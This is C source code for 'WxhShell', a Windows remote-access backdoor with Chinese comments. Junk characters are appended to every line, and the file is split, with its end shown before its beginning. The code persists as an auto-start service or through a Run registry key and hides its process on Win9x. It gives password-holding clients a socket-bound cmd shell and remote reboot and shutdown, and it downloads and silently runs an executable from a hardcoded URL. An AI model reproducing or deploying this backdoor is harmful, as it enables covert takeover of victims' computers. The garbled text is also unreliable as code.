    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]EE}ax%#aq  
    if(Boot(SHUTDOWN)) [|<|a3']|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y2TJDb1  
    else { j Bl I^  
    closesocket(wsh); @Ej{sC!0T  
    ExitThread(0); <S6|$7{1  
    } ] GJIrtS4  
    break; FlrLXTx0  
    } ^$6EO) <  
  // 获取shell [wjA8d.  
  case 's': { n>+M4Zb  
    CmdShell(wsh); &xj?MgdNL  
    closesocket(wsh); +'N?`l6<  
    ExitThread(0); =eDVgOZ)  
    break; k,0JW=Vh>|  
  } wg<DV!GZ  
  // 退出 MJt?^G (w?  
  case 'x': { J3oH^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #:v|/2   
    CloseIt(wsh); 2Rc#{A  
    break; ss-{l+Z5  
    } ,&Gn7[<  
  // 离开 (caxl^=  
  case 'q': { bsmZR(EnU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TXv3@/>ZlG  
    closesocket(wsh); N*f?A$u/I  
    WSACleanup(); {uM*.]  
    exit(1); (ye1t96  
    break; Y#=0C*FS  
        } sPyq.oG  
  } JpcG5gX^B  
  } &j<B22t!  
d!D#:l3;  
  // 提示信息 0/6f9A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h rW  
} ey_3ah3x  
  } ||;V5iR:  
rUc2'Ct  
  return; 7.,C'^ci  
} sy.FMy+  
-lQ8 &eB  
// shell模块句柄 ^a0{"|Lq  
int CmdShell(SOCKET sock) p`fUpARA!  
{ %?Yf!)owh  
STARTUPINFO si; W;4rhZEgd  
ZeroMemory(&si,sizeof(si)); xA& tVQ2!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8d?r )/~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :XC~G&HuF6  
PROCESS_INFORMATION ProcessInfo; 7?9QlUO  
char cmdline[]="cmd"; F0qpJM,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 93Kd7x-3  
  return 0; "oz : & #+  
} ?1T)cd*  
6!sC  
// 自身启动模式 JfGU3d*c  
int StartFromService(void) mEeD[dMN  
{ o%;R4 s,  
typedef struct *'H0%GM  
{ {$-lXw4  
  DWORD ExitStatus; 97l<9^$  
  DWORD PebBaseAddress; -N $4\yp  
  DWORD AffinityMask; BpBMFEiP  
  DWORD BasePriority; MKPxF@N(  
  ULONG UniqueProcessId; H(Pzo+k*  
  ULONG InheritedFromUniqueProcessId; ^ >JAl<k  
}   PROCESS_BASIC_INFORMATION; @`xR1pXQ  
.;}vp*  
PROCNTQSIP NtQueryInformationProcess; iY?J3nxD-:  
Of0(.-Q w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _zt)c!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eocq Hwbv  
0Lb:N]5m8  
  HANDLE             hProcess; i ]x_W@h  
  PROCESS_BASIC_INFORMATION pbi; H c,e&R  
|`eHUtjH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o-i9 :AHs  
  if(NULL == hInst ) return 0; "QSmxr  
K93L-K^J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $0 ]xeD0X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $-Iui0h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RGEgYOO  
D[/h7Ha  
  if (!NtQueryInformationProcess) return 0; \.ukZqB3 0  
!=Scpo_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7md,!|m  
  if(!hProcess) return 0; 3qf?n5 "8  
_cvA1Q"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sbv2*fno5  
sU Er?TZ  
  CloseHandle(hProcess); W_.WMbT  
.>#X*u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?}g^/g !  
if(hProcess==NULL) return 0; ^+p7\D/E(  
boS=  
HMODULE hMod; w1Txz4JqB  
char procName[255]; /_SQKpic  
unsigned long cbNeeded; moS0y?N  
n f.H0i;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  jYUN:  
9*Q6/?v  
  CloseHandle(hProcess); %(&$CmS@  
OEw#;l4 C  
if(strstr(procName,"services")) return 1; // 以服务启动 =j~BAS*"  
9Js+*,t  
  return 0; // 注册表启动 CS'LW;#[  
} O NVhB  
j+9;Rvt2  
// 主模块 `%A vn<  
int StartWxhshell(LPSTR lpCmdLine) &NKb},~  
{ mUj_V#v  
  SOCKET wsl; -*A1[Z ?  
BOOL val=TRUE; F[(ocxQZ3  
  int port=0; v}LI-~M>U  
  struct sockaddr_in door; ?wP/l  
A^ofs*"Y  
  if(wscfg.ws_autoins) Install(); (/7b8)g  
t!-\:8n  
port=atoi(lpCmdLine);  .0YcB  
U ,NGV0  
if(port<=0) port=wscfg.ws_port; OUq%d8 W  
GQ(*k)'a  
  WSADATA data; {p.^E5&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O^J=19Ri  
!>\&*h-Cm#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AL!ppi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nll=Vd[  
  door.sin_family = AF_INET; EXMW,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); > ^=n|%  
  door.sin_port = htons(port); STl8h}C  
JC0#pU;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Lk)I;;  
closesocket(wsl); ~&?57Sw*m  
return 1; E{0e5.{  
}  ZC]|s[  
<6Y|vEo!N  
  if(listen(wsl,2) == INVALID_SOCKET) { A9lw^.  
closesocket(wsl); Wv|CJN;4  
return 1; #+QJ5VI :  
} o}DR p4;Ka  
  Wxhshell(wsl); Llkh kq_  
  WSACleanup(); qfG:v Tm  
wFF,rUV  
return 0; #.rkvoB0N  
wz1nV}  
} eL>wKu:r  
tm/=Oc1p  
// 以NT服务方式启动 ~/X8Hy!-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?N<,;~  
{ >?1GJ5]\s  
DWORD   status = 0; 9N `WT=  
  DWORD   specificError = 0xfffffff; (/2rj[F&  
gg.]\#3g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0$ON`Vsu|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6fo\ z2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '<3h8\"  
  serviceStatus.dwWin32ExitCode     = 0; j85B{Mab&  
  serviceStatus.dwServiceSpecificExitCode = 0; }W@refS  
  serviceStatus.dwCheckPoint       = 0; v-N4&9)%9  
  serviceStatus.dwWaitHint       = 0; >|, <9z`D  
JNY?] |=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vp2w^/])u  
  if (hServiceStatusHandle==0) return; l9C `:g  
:8(jhs  
status = GetLastError(); hP8w3gl_  
  if (status!=NO_ERROR) !zt>& t  
{ sBYDo{0 1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IqV" 4  
    serviceStatus.dwCheckPoint       = 0; H#7=s{u  
    serviceStatus.dwWaitHint       = 0; Gk+R, :  
    serviceStatus.dwWin32ExitCode     = status; W**[:n+  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^mjU3q{;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KB^8Z@(+  
    return; |{(JUXo6K  
  } iZ>P>x\  
@sG*u >   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yZ{N$ch5b  
  serviceStatus.dwCheckPoint       = 0; yZ 7)|j  
  serviceStatus.dwWaitHint       = 0;  ZB |s/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G62;p#  
} ]zVQL_%,  
45n.%*,  
// 处理NT服务事件,比如:启动、停止 p+<qI~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }cI-]|)|2  
{  ]Tb?z&  
switch(fdwControl) R<gAxO%8  
{ :-#7j} R&  
case SERVICE_CONTROL_STOP: cuH5f}oc  
  serviceStatus.dwWin32ExitCode = 0; t\LE\[XM>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C$ K?4$  
  serviceStatus.dwCheckPoint   = 0; \BH?GMoP  
  serviceStatus.dwWaitHint     = 0; )Nx*T9!Q  
  { QnOs8%HS-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ip`1Wv_  
  } ~CHcbEWk)W  
  return; Q=d:Yz":S  
case SERVICE_CONTROL_PAUSE: %z.V$2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k>Fw2!mA^  
  break; w)* H&8h@  
case SERVICE_CONTROL_CONTINUE: sVFX(yx0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fd #QCs  
  break; F WU >WHX  
case SERVICE_CONTROL_INTERROGATE: )7!,_r  
  break; [kpQ:'P3  
}; x^c,cV+*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); so1  
} !SE  
V1Ojr~iM  
// 标准应用程序主函数 FeS ,TQ4j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S&-F(#CF^  
{ >TM{2b,(p  
|A,.mOT  
// 获取操作系统版本 3N!v"2!#  
OsIsNt=GetOsVer(); nC !NZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Mv/ SU">F  
T%9t8?I  
  // 从命令行安装 p5OoDo  
  if(strpbrk(lpCmdLine,"iI")) Install(); g$mMH  
'AWWdz  
  // 下载执行文件 ^b~ZOg[p  
if(wscfg.ws_downexe) { Nxl#]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cZ !$XXA`  
  WinExec(wscfg.ws_filenam,SW_HIDE); 82+2 PE{  
} mJd8?d  
%-$ :/ N  
if(!OsIsNt) { G;#xcld  
// 如果时win9x,隐藏进程并且设置为注册表启动 4`9ROC  
HideProc(); 55TFBDc  
StartWxhshell(lpCmdLine); 6< -Cpc  
} 6C<GYzzo  
else Y1>OhHuN  
  if(StartFromService()) a%a0/!U[  
  // 以服务方式启动 Z8/.I  
  StartServiceCtrlDispatcher(DispatchTable); 7&HcrkP]  
else =aQlT*n%3  
  // 普通方式启动 |;(P+Q4lB  
  StartWxhshell(lpCmdLine); 8 "NPj0  
/E{tNd^S  
return 0; pRxVsOb  
} pZ[|Q2(  
7rbw_m`12-  
.waj.9&[l  
w'_|X&@H  
=========================================== 1#;^ Z3  
xT* 3QwK  
c;(Fz^&_  
dblf , x  
DnhbMxh8o  
 !a\HdQ  
" AY"wEyNU  
|9.J?YP8 (  
#include <stdio.h> i4WHjeo\  
#include <string.h> B<Cg_C  
#include <windows.h> @qW$un:  
#include <winsock2.h> g2^{+,/^K  
#include <winsvc.h> :kE*  
#include <urlmon.h> EB}~^ aY  
kEAF1RP:  
#pragma comment (lib, "Ws2_32.lib") wL]#]DiE  
#pragma comment (lib, "urlmon.lib") 6@47%%,}  
(d,O Lng  
#define MAX_USER   100 // 最大客户端连接数 :i {; 81V  
#define BUF_SOCK   200 // sock buffer 8KkN "4'  
#define KEY_BUFF   255 // 输入 buffer _*{Lha  
Z 5P4 H  
#define REBOOT     0   // 重启 9&Y|,&W  
#define SHUTDOWN   1   // 关机 #j+cl'  
S9nn^vsK  
#define DEF_PORT   5000 // 监听端口 73]t5=D:  
T*C F5S  
#define REG_LEN     16   // 注册表键长度 VG$;ri>  
#define SVC_LEN     80   // NT服务名长度 -`z%<)!Y  
O}2/w2n  
// 从dll定义API qkp0'f*}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XDyo=A]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UQYHR+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nUX3a'R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R-,L"Vv  
(]&B' 1b  
// wxhshell配置信息 vpdPW%B  
struct WSCFG { GNB'.tJ:0Y  
  int ws_port;         // 监听端口 8r@GoG>  
  char ws_passstr[REG_LEN]; // 口令 f w)tWJVD  
  int ws_autoins;       // 安装标记, 1=yes 0=no r~oUln<[  
  char ws_regname[REG_LEN]; // 注册表键名 GiK,+M"d  
  char ws_svcname[REG_LEN]; // 服务名 L*4= b (3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )"{}L.gC6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \h0+` ;Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nox-)e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y$)y:.2#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aCIz(3^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v^p* l0r6:  
<pKOFN%m  
}; ]-a/)8  
n+<  
// default Wxhshell configuration Nr)DU.f  
struct WSCFG wscfg={DEF_PORT, %Q.M& U  
    "xuhuanlingzhe", "A~D(1K  
    1, P%Q'w  
    "Wxhshell", 2\|sXC  
    "Wxhshell", 0a@tPskV  
            "WxhShell Service", `qCL&(`%  
    "Wrsky Windows CmdShell Service", -!M>;M@  
    "Please Input Your Password: ", H0t#J  
  1, 8NE[L#k  
  "http://www.wrsky.com/wxhshell.exe", Yb[)ETf^  
  "Wxhshell.exe" u$ o 19n  
    }; H+gB|  
Ytqx 0  
// 消息定义模块 };Df ><  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ft0d5n!ui4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A5 4u}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~-%z:Re'_  
char *msg_ws_ext="\n\rExit."; e85E+S%  
char *msg_ws_end="\n\rQuit."; zA$ f$J7\^  
char *msg_ws_boot="\n\rReboot..."; <1x u&Z7  
char *msg_ws_poff="\n\rShutdown..."; #KHj.Vg  
char *msg_ws_down="\n\rSave to "; ^Mhh2v  
]z=dRq  
char *msg_ws_err="\n\rErr!"; K9nW"0>  
char *msg_ws_ok="\n\rOK!"; tF<&R& =  
LUpkO  
char ExeFile[MAX_PATH]; W&I:z-VH  
int nUser = 0; +~ Y.m8  
HANDLE handles[MAX_USER]; ]1h9:PF  
int OsIsNt; @q@I(%_`  
z`u$C+Ov  
SERVICE_STATUS       serviceStatus; u'T>Y1I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :qShP3^  
<@4V G  
// 函数声明 v=&xiwz}  
int Install(void); {`> pigo  
int Uninstall(void); Zba<|C  
int DownloadFile(char *sURL, SOCKET wsh); @.G;dL.f{  
int Boot(int flag); 'fzJw  
void HideProc(void); 5;XU6Rz!  
int GetOsVer(void); N?A}WW#  
int Wxhshell(SOCKET wsl); q!h'rX=_-  
void TalkWithClient(void *cs); N!\1O,  
int CmdShell(SOCKET sock); ye}86{l  
int StartFromService(void); R.GDCGAL  
int StartWxhshell(LPSTR lpCmdLine); IkGM~3e  
cb. -AlqQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %_>8.7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4JH^R^O<n  
\,!Qo*vj  
// 数据结构和表定义 l Yj$ 3  
SERVICE_TABLE_ENTRY DispatchTable[] = CSNz8 y  
{ aHitPPlq  
{wscfg.ws_svcname, NTServiceMain}, ]2@lyG#<<  
{NULL, NULL} s4=EyBI  
}; T=g2gmo9  
H>-{.E1bG  
// 自我安装 8ddBQfCY  
int Install(void) &v:[+zw  
{ Tg=P*HY6  
  char svExeFile[MAX_PATH]; 5OAb6k'  
  HKEY key; l @E {K|  
  strcpy(svExeFile,ExeFile); 5+(Cp3  
8@FgvWC  
// 如果是win9x系统,修改注册表设为自启动 OU?.}qc<wE  
if(!OsIsNt) { 9R[P pE''  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G) 37?A)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3A! |M5  
  RegCloseKey(key); /f=31<+MtF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wkJ@#jD*[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h=kC3ot\  
  RegCloseKey(key); od&wfwk(  
  return 0; %."w]fy>P  
    } '_91(~P  
  } $L'[_J  
} sM9utR  
else { xd4~[n\hm  
v*OT[l7  
// 如果是NT以上系统,安装为系统服务 7H,)heA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d^5x@E_Td  
if (schSCManager!=0) TCkMJs?  
{ L3*HgkQQ  
  SC_HANDLE schService = CreateService F84<='K  
  ( hN\Q&F!  
  schSCManager, OgzKX>N`A  
  wscfg.ws_svcname, `"#hhKG  
  wscfg.ws_svcdisp, GgtYO4,  
  SERVICE_ALL_ACCESS, n3\~H9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wF*9%K'E  
  SERVICE_AUTO_START, Y/L*0 M.<  
  SERVICE_ERROR_NORMAL, X#fjIrn  
  svExeFile, 5YgT*}L+,  
  NULL, @oD2_D2  
  NULL, :8A@4vMS)?  
  NULL, !-JvVdM;(  
  NULL, zu,Yuq  
  NULL {}H/N   
  ); R I:kp.V  
  if (schService!=0) ZsP>CELm@  
  { }V 4u`=  
  CloseServiceHandle(schService); UC.kI&A  
  CloseServiceHandle(schSCManager); ~,x4cOdR#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kR8,E6Up  
  strcat(svExeFile,wscfg.ws_svcname); qu;$I'Ul%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oE,TA2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HNLr} Yj  
  RegCloseKey(key); rrG}; A  
  return 0; x-b}S1@  
    } R_ )PbFw  
  } m\MI 6/  
  CloseServiceHandle(schSCManager);  +&<k}Mz  
} AN)r(86L  
} Fv:x>qZr@  
\:2z!\iP`  
return 1; y=AF EP  
} XI,=W  
vTC{  
// 自我卸载 S.pXo'}  
int Uninstall(void) jI9#OEH_g  
{ ; FHnu|  
  HKEY key; n"@){:{4?  
Y3SV6""y/  
if(!OsIsNt) { 9I''$DVf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {Ia$!q)  
  RegDeleteValue(key,wscfg.ws_regname); e2L>"/  
  RegCloseKey(key); !=u=P9I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .0MY$0s  
  RegDeleteValue(key,wscfg.ws_regname); 4E+8kz'  
  RegCloseKey(key); .9UrWBW\I  
  return 0; Qkc 9X0J!  
  } B[t>T>~  
} ;jBS:k?  
} (i1p6  
else { L^K,YlNBR  
s|X_:3\x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 86a,J3C[  
if (schSCManager!=0) ;J:*r0  
{ \C{Zqo,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TV`sqKW  
  if (schService!=0) &>G8DvfJ9  
  { t3=K>Y@w  
  if(DeleteService(schService)!=0) { ja(ZJ[<`  
  CloseServiceHandle(schService); sn]D7Ae  
  CloseServiceHandle(schSCManager); T&}KUX~Q/  
  return 0; +RnWeBXAT  
  } kYR ^  
  CloseServiceHandle(schService); Xe(]4Ux  
  } c{qTVi5e  
  CloseServiceHandle(schSCManager); +fq\K]  
} s4Vju/  
} !sYZ1;WAO  
7p>T6jK)  
return 1; U /xzl4m6  
} x'SIHV4M@Q  
VFm)!'=I  
// 从指定url下载文件 BgY|v [M&  
int DownloadFile(char *sURL, SOCKET wsh) 0wAB;|~*62  
{ 'pF$6n;  
  HRESULT hr; z)Yb9y>2  
char seps[]= "/"; dCLNZq h6  
char *token; %Z8pPH~T  
char *file; f"^t~q[VS  
char myURL[MAX_PATH]; p4kK" \ln  
char myFILE[MAX_PATH]; 7e D` is  
]I]G3 e  
strcpy(myURL,sURL); GoPMWbI7  
  token=strtok(myURL,seps); 4w]<1V  
  while(token!=NULL) )Lk2tvr  
  { =`Ky N/  
    file=token; z80*Ylx  
  token=strtok(NULL,seps); /nEK|.j  
  } tCGA3t  
, 10+Sh  
GetCurrentDirectory(MAX_PATH,myFILE); S&;)F|-q  
strcat(myFILE, "\\"); \Rha7O  
strcat(myFILE, file); >y!O_@>z  
  send(wsh,myFILE,strlen(myFILE),0); x}x)h3e  
send(wsh,"...",3,0); u;b6uE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c;=St1eoz  
  if(hr==S_OK) hqwsgJ  
return 0; ;6?,Yhk$h  
else T~4HeEG>uH  
return 1; 9_Z_5w;h  
t{B6W)q  
} f/Z-dM\e  
{nS(B  
// 系统电源模块 E;"VI2F  
int Boot(int flag) w2^s}NO  
{  U8% IpI;  
  HANDLE hToken; WMFn#.aY5  
  TOKEN_PRIVILEGES tkp; .dvs&+I  
L$jii  
  if(OsIsNt) { r\y\]AmF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !L_xcov!Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 49Y:}<Yd   
    tkp.PrivilegeCount = 1; Qb;]4[3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -vt6n1A&b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :73T9/  
if(flag==REBOOT) { 8zwH^q[`r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PC%_^BDW  
  return 0; tao9icl*`  
} AAF;M}le,  
else { -7EwZRS@9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4&6cDig7*2  
  return 0; TETfRnm  
} 6S(`Bw8h  
  } dtXtZ!g2  
  else { =E~_F>SD  
if(flag==REBOOT) { 9AD0|,g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \`8F.oZ^)  
  return 0; 9g$fFO  
} ~0vNs2D,S  
else { l8lJ &  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TdoH(( nY  
  return 0; 9s*UJIL  
} LI"N^K'z  
} TI8E W  
)EN ,Ry  
return 1; swhtlc@@  
} LBcqFvj{&  
V{rQ@7SE  
// win9x进程隐藏模块 lB|.TCbW  
void HideProc(void) hi Ws:Yq  
{ zEeix,IU  
r&XxF >  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8#Y_]Z?)  
  if ( hKernel != NULL ) ;47=x1j i  
  { Qb:.WMj[q+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +H!aE}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vE~<R  
    FreeLibrary(hKernel); E7]a#  
  } s1T}hp  
<H1e+l{8$  
return; RLDu5  
} ]oC7{OoX  
HA0yX?f]  
// 获取操作系统版本 b/=>'2f  
int GetOsVer(void) qmnW  
{ sWgzHj(c  
  OSVERSIONINFO winfo; cP0(Q+i7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EFs\zWF  
  GetVersionEx(&winfo); o6r ^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |:d_IB@  
  return 1; ITjg]taD  
  else X|60W  
  return 0; Vb~;"WABo  
} cty  
AE%zqvp>  
// 客户端句柄模块 =&vRT;6  
int Wxhshell(SOCKET wsl) :NWrbfz  
{ ;S+"z;$m  
  SOCKET wsh; ?:RWHe.P  
  struct sockaddr_in client; }cg 1CT5  
  DWORD myID; By0Zz  
g^:7mG6C  
  while(nUser<MAX_USER) FsfP^a  
{ .~4DlT  
  int nSize=sizeof(client); ?qtL*;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5OC3:%g  
  if(wsh==INVALID_SOCKET) return 1; et6@);F  
^^gV@fz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wpm $?X  
if(handles[nUser]==0) @z(s\T  
  closesocket(wsh); Vj_z"t7q  
else XN'<H(G  
  nUser++; 5U(ry6fI=  
  } Pv3 e*I((  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R6G%_,p$7  
+RD{<~i  
  return 0; g U v`G  
} 0 oHnam  
PvS\  
// 关闭 socket z%L\EP;o}  
void CloseIt(SOCKET wsh) h)yAg e  
{ {>>Gc2UT  
closesocket(wsh); BoPJ;6?>}  
nUser--; <(2,@_~@r  
ExitThread(0);  /w(t=Y  
} n0=[N'Tw3  
)Ft>X9$  
// 客户端请求句柄 [moz{Y  
void TalkWithClient(void *cs) C)0JcM  
{ 1;y?!;FD  
7Ust7%  
  SOCKET wsh=(SOCKET)cs; e/V8lo  
  char pwd[SVC_LEN]; 0p ZX_L'  
  char cmd[KEY_BUFF]; *'ex>4^  
char chr[1]; /'>#1J|TlK  
int i,j; -$_h]x* W  
[ncOtDE  
  while (nUser < MAX_USER) { G+f@m,  
/s^O M`5  
if(wscfg.ws_passstr) { AP_2.V=Sn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0%<x>O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wq]Lb:&{a  
  //ZeroMemory(pwd,KEY_BUFF); Qxh 1I?h  
      i=0; JGKiVBN  
  while(i<SVC_LEN) { L;k9}HWpP  
3 ~^}R  
  // 设置超时 B*j AD2  
  fd_set FdRead; R} aHo0r  
  struct timeval TimeOut; kkE1CHY  
  FD_ZERO(&FdRead); dzPwlCC%-  
  FD_SET(wsh,&FdRead); Y;WHjW(K  
  TimeOut.tv_sec=8; #97w6,P+  
  TimeOut.tv_usec=0; eZ~ZWb,%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); , H_Cn1l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'X(G><R9  
F82_#|kpS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _4jRUsvjY  
  pwd=chr[0]; IT_Fs|$  
  if(chr[0]==0xd || chr[0]==0xa) { L z'05j3!  
  pwd=0; Q>}*l|Ci  
  break; lnoK.Vk9,  
  } 3<nd;@:-  
  i++; P I0[  
    } U`fxe`nVa  
71ctjU`U2  
  // 如果是非法用户,关闭 socket HO(9 )sK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sOBy)vq?\  
} Pe_iA_  
Be(h x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EJrn4QOs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7TjK;w7xS.  
3,cZ*4('d  
while(1) { K2glkGK  
^Pk-<b4}  
  ZeroMemory(cmd,KEY_BUFF); E|jbbCZy2  
>}~Pu| _ S  
      // 自动支持客户端 telnet标准   76rNs|z~  
  j=0; qh)o44/ $  
  while(j<KEY_BUFF) { W=$d|*$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]#N~r&hmQ  
  cmd[j]=chr[0]; wtDy-H n  
  if(chr[0]==0xa || chr[0]==0xd) { od\Q<Jm}  
  cmd[j]=0; [p+6HF  
  break; ?6gC;B  
  } > T,^n {_v  
  j++;  d!%:Ok  
    } W^Jh'^E  
*LbRLwt  
  // 下载文件 b=!G3wVw<  
  if(strstr(cmd,"http://")) { lth t'|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iv*Ft.1t  
  if(DownloadFile(cmd,wsh)) R&BbXSIDX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2V0gj /&  
  else {%K(O$H#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h-Q3q:  
  } ~7tG%{t%  
  else { p xrd D7  
8lo /BGxS>  
